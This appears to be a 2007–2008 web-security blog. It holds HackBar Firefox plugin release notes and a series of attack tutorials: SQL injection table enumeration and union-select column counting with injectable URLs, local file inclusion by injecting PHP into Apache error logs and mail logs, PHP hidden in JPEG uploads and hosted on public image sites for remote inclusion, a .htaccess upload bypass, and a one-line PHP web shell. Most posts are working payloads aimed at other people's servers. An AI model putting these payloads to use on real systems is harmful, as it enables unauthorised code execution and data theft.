Thursday, November 6, 2008

HackBar 1.4.1 beta release!

Finally! The update we have been waiting for!

It still needs a lot of testing so i'm releasing this as a beta, but it should work fine!

- "OSX toolbar not showing" bug!!
- Better layout for INT/HEX addition/subtraction
- A few minor translation bugs

New Features:
- Add/Subtract Octal
- Add/Subtract Alphabetical (a-z)
- Add/Subtract Alpha numeric (a-z 0-9)
- "Strip spaces" function, removes all space chars from selected string
- Convert characters to hex and back in 3 formats (00ff00ff, 00:ff:00:ff and 00 ff 00 ff)

Any bugs / comments can be mailed to: or posted as a comment below.

Download HackBar 1.4.1 here

Have fun!

Tuesday, July 8, 2008

NEW! Hackbar 1.3.2!

Finally! It has arrived! It took me some time, but here is the new HackBar plugin.

Actually.. I finished it a month ago, but the Mozilla testers are very busy at the moment so, my plugin is still being tested.. They are doing a great job! But i decided to release it here for the people who need this plugin to work in FF3 (I had loads of mail and comments, thanx!)

Download version 1.3.2 here!

Please leave a comment if you like the new version!

New features:

  • Added POST data manipulation (yay!)
  • Added Referrer string manipulation
  • Fixed tab-behavior
  • Show / Hide hot key [F9]
  • Show / Hide tools menu item
  • Show / Hide toolbar button
  • Code revision (again)
  • New layout, for more menus and buttons
  • Added SHA-1 and SHA-256 encryption
  • Added ROT13.. (request :)
  • Added Hex +1 and -1 buttons
  • Added a bunch of useful SQL injection strings and tricks
  • Added a bunch of useful XSS strings and tricks
  • Added add/stripslashes
  • .. and a few small things and fixes


New look and feel

More stuff! In drop-down menus

More of everything! (More encryptions (sha1/2))

Edit post data on the fly!

Have fun!

Monday, January 7, 2008

SQL injection: Getting the table names

Yep, this is a big issue. There are a few good tricks that will allow you to query for this information, especially in M$SQL. MySQL has a few small tricks as well, but this 'feature' was introduced in version 5 and is disabled on some servers.

# MySQL and the INFORMATION_SCHEMA database

Now this neat feature was introduced in MySQL 5. Its a database containing.. information about all databases, tables, colums, fields, priveleges, keys.. you name it! The best thing is, the default setting is to allow normal users read rights to this database. It CAN be disabled by a MySQL administrator, but most MySQL 5 server i have seen are 'vulnerable'.

Detailed information can be found here:

Here is a small example from the MySQL command line: (TABLE_SCHEMA means 'database')
| columns_priv
| db
| func
| help_category
| help_keyword
| help_relation
| help_topic
| host
| proc
| procs_priv
| tables_priv
| time_zone
| time_zone_leap_second
| time_zone_name
| time_zone_transition
| time_zone_transition_type
| user
17 rows in set (0.06 sec)

I guess you get the point here.. using this method in a union select query gets you all the information you need.

# M$SQL SysObjects table

In M$SQL we have someting way better! The SysObjects table is a table containing all information about all objects created in the database. As far as i know there is no way of disabling a normal user access to this table. A simple example is:

(Look for a (U)ser table starting with 'user')
SELECT name FROM sysObjects WHERE type = 'U' AND
name LIKE 'user%'

# 'Social' engineering

If all else fails, social engineering is the place/thing to be!.. go.!!
This can be very tedious and its pretty hard to keep up, but it almost never fails! You can make a very educated guess about what the database tables are, if you look good enough. I usually start at a login form. If the user and password fields are named: 'user' and 'password' the database layout will probably be:

  1. Pretty default.. table is probably something like: user(s), login, account(s) etc..
  2. Database and table names are probably english
Now if the developer chose to name these fields: 'usr' and 'passwd' we should look at some other table / column names, and if these fields are in a non-english language, take it from there.. (and good luck ;)

If you have some visual feedback from your SQL injection you can query for the database() and user() values.

SELECT database(), user();

This too will give you some basic information about the developers naming standards.

If you still can't find any tables, its probably a good idea to start thinking about table prefixes. This is somewhat outdated but still often used. Now what kind of prefix are we looking for? Most of them are 3 letter combinations followed by an underscore. Acronyms for software packages or company names. Only very seldom i find a site that uses the 'tbl_' prefix. But it did happen .. once ;)
Find out the developers name, what the CMS system is called, what the site itself is called and try a few acronyms.


All this guessing around might seem to be based on a whole lot of luck, but it really isn't. In my time as a security auditor i found only one single website that had such obscure table names i could not detect any user tables.

It might take you a few hours, but you will get there. Trust me. ;)

Oh and dont forget, table names are case insensitive! ;)

Tuesday, August 7, 2007

Union select column count

A lot of people seem to be asking around for a way to detect the amount of columns needed for a successful 'union select' injection. It might be old news for a lot of people, but others are still wrestling with pure guessing. So here goes nothing ;)

When trying to execute a union select, make sure you are on a mysql 4 or higher server! Union selects will not work on mysql 3 or lower.

O.k. let's take the following news query:
SELECT * FROM `news` WHERE `news_id` = 121

The URL to access this query is: /news.php?news_id=121

So our injection point in this query is: '121'.

Now lets find out if the news_id is injectable
test: /news.php?news_id=121 and 1=1
result needed: success

test: /news.php?news_id=121 and 1=0
result needed: empty page

version 4 or higher?
test: /news.php?news_id=121 and version() >= 4
result needed: success

Now comes the cool part. We know we can order data using column names, but we can also order our result set using column numbers. We can use this knowledge to test the amount of columns used in the query.

Does the column / order trick work? (order by first column)
test: /news.php?news_id=121 order by 1/*
result needed: success

More than 10 columns?
test: /news.php?news_id=121 order by 10/*
result needed: success / failure, based on the amount of columns.

More than 20 columns?
test: /news.php?news_id=121 order by 20/*
result needed: success / failure, based on the amount of columns.


Now lets say there were 12 columns in the news table.
test: /news.php?news_id=121 order by 11/* -- Succeeded
test: /news.php?news_id=121 order by 12/* -- Succeeded
test: /news.php?news_id=121 order by 13/* -- Failed

Joy! so 12 it is. Now you can easily inject your union select query. ;)
Union Select: /news.php?news_id=12 and 1=0 union select 1,2,3,4,5,6,7,8,9,10,11,12/*

Good luck ;)

Saturday, August 4, 2007

local file inclusion tricks

I keep on ranting about file inclusion while this is not something we see every day. I promise this will be my last post on this subject for a while :)

First off, if you did no reconnaissance and you don't really know where you are on the file system but you do know where to go, don't worry about the amount of ../ you're using. You can't go beyond the root of the file system, the rest of the ../'s will just be ignored. So if you are in /var/www/vhosts/ and you try to include ../../../../../../../../../../etc/passwd, it will work fine.

Now to actually include some PHP code! There are a few things you can do. Of course you could try to include external files, which would be the easy way to go.. but some administrators turn this feature off in the php.ini.

// ----- 1: apache error_log injection -----
Inject php code in the apache error log.
$ telnet 80

Connected to
Escape character is '^]'.
GET /< ?php phpinfo(); ? > HTTP/1.0

After that you can include the error log file. The embedde PHP code will be executed. a few places to look for the error log file:

// ----- 2: Malicious image upload -----
When the website allows its users to upload images (like avatars). You could use the method explained in my previous post: "'Safe' remote file inclusion" to upload a malicious image.

// ----- 3: Send e-mail -----
This is actually pretty hard to exploit, although it IS possible. You could of course try to send an e-mail to the web server user (e.g. apache@hostname) and include /var/spool/mail/apache. This method never worked for me, and i don't think any up-to-date linux system supports this 'feature'.

The second method is somewhat elaborate. I will explain it using qmail examples, but most mail servers support this feature.

You will need to include the maillog file. This is often located at /var/log/maillog. Now to inject some php code, look at the following example:

root@test:/# telnet localhost 25
Connected to localhost.
Escape character is '^]'.
MAIL FROM: anything < ?phpinfo();? >
250 ok
250 ok
354 go ahead
Subject: phpInjectionTest
250 ok 1186501618 qp 7063
Connection closed by foreign host.
root@test:/# grep phpinfo /var/log/maillog
Aug 7 17:46:59 test qmail: 1186501618.685225 info msg 3903353: bytes 198 from < ?phpinfo();? > qp 7086 uid 2020
Aug 7 17:46:59 test qmail-remote-handlers[7090]: from=?php-phpinfo();?
root@test:/# echo "< ?phpinfo();? >" | php

The above steps are:

  1. Telnet into the mail server.
  2. Fake the sender address: Anything < ?phpinfo();? >. (Spaces are replaced by underscores. So you need to prevent those.)
  3. Look for the phpinfo string in the log file
  4. Test it in PHP
The third method, is to send a real email, to a real user, and include the mail file. This might be a bit hard because you will have to guess the filename. The default location for the qmail files is:
And the files look like: (Meaning [timestamp].[PID].[hostname])

The filename can be guessed using the maillog, the approximate timestamp and PID will show up in this log file. Although its pretty hard to read if you're not familiar with this log format.

// ----- Conclusion -----
There are a lot of cool ways to include PHP snippets on a vulnerable server, the easiest one is to write it to the error_log file. This file is written by the web server, and easily accessible (without the open_basedir restrictions of course).

// ----- What to inject?! -----
The best start is to inject something like:
< ?system($_GET['x']);? >
This allows you to execute any command on the server using the x _GET value. After that you're practically in.

Friday, August 3, 2007

'Safe' remote file inclusion

As mentioned in my previous post: "PHP Image uploaders", It is possible to embed PHP code in a normal jpeg image. With the valid extension this will upload in any image upload script. It will be treated like any normal image. The embedded PHP code will stay untouched unless the image is resized or pulled through imageMagick / GDlib for any reason. These libs will not trigger any errors, they just strip of the excess data (meaning the embedded PHP code ;)

When executing or including these PHP files. The image data blob will be printed to the screen, this is slightly annoying.. but the PHP code will also be executed. Some black hat readers might see the opportunity here. When you find a remote file inclusion, and you want to inject some PHP code, its often tricky to host in on:
1. Your own server
2. A 'hacked' server (which i don't know anything about)

So a simple option might be: write your PHP script, embed into a jpeg file, and host it on any open image upload server. I tested it on imageshack, and it seems to work there. The only requirement is that the file should not be resized or changed in any way.

After this you can include the .jpg file. And the PHP code embedded in the image will be executed.

Here is a simple test you can run:
Get your favorite image.. called image.jpg and go a little something like this:
$ echo "< ?php phpinfo(); ? >" >> image.jpg
$ echo "< ?php include('image.jpg') ? >" > test.php

Now open test.php in your browser, and behold! phpinfo() output.. with a bunch of nasty binary characters above it.

Here is a demo file containing phpinfo():

Tuesday, June 26, 2007

PHP Image uploaders

Image uploads are pretty common these days, you get them in most forums, weblogs, community sites etc. There are basicly 2 methods of determining if the uploaded file is an actual image.

1: Check the file extension. This should be gif, jpg or png.
2: Check the file layout, using the PHP getimagesize() function, which is way cooler, cuz it is.

If by chance the developer wasnt paying attention and doesn't check the extension properly, but does use the getimagesize function to determine the image type. You can upload a 'special' file that passes all PHP image checks and still executes the embedded PHP.

Just take a basic jpeg image (yes, your avatar will do) open it in your favorate hex editor, open your php file next to it, and copy-paste the php hex data below the image hex data.

Next, rename the file.jpg to file.php, and try to upload it.

The thing with jpeg is, its not bothered by excess data. The jpeg header takes care of that. A php file just shows its contents, until it finds those cute php tags. So when opening this 'image' in a browser, it will be executed like a normal php file.

I used this image spoof about 20 times now, and it worked about 5 times. So its a long shot, but surely, worth a try.

if it doesnt work, try to upload a .htaccess file containing: AddType application/x-httpd-php .jpg
and uploading your .php file as a .jpg file. Because of the weird filename layout (.htaccess == no filename and a suspiciously long file extension) some upload checks let it pass through. (older versions of FCKeditor for example)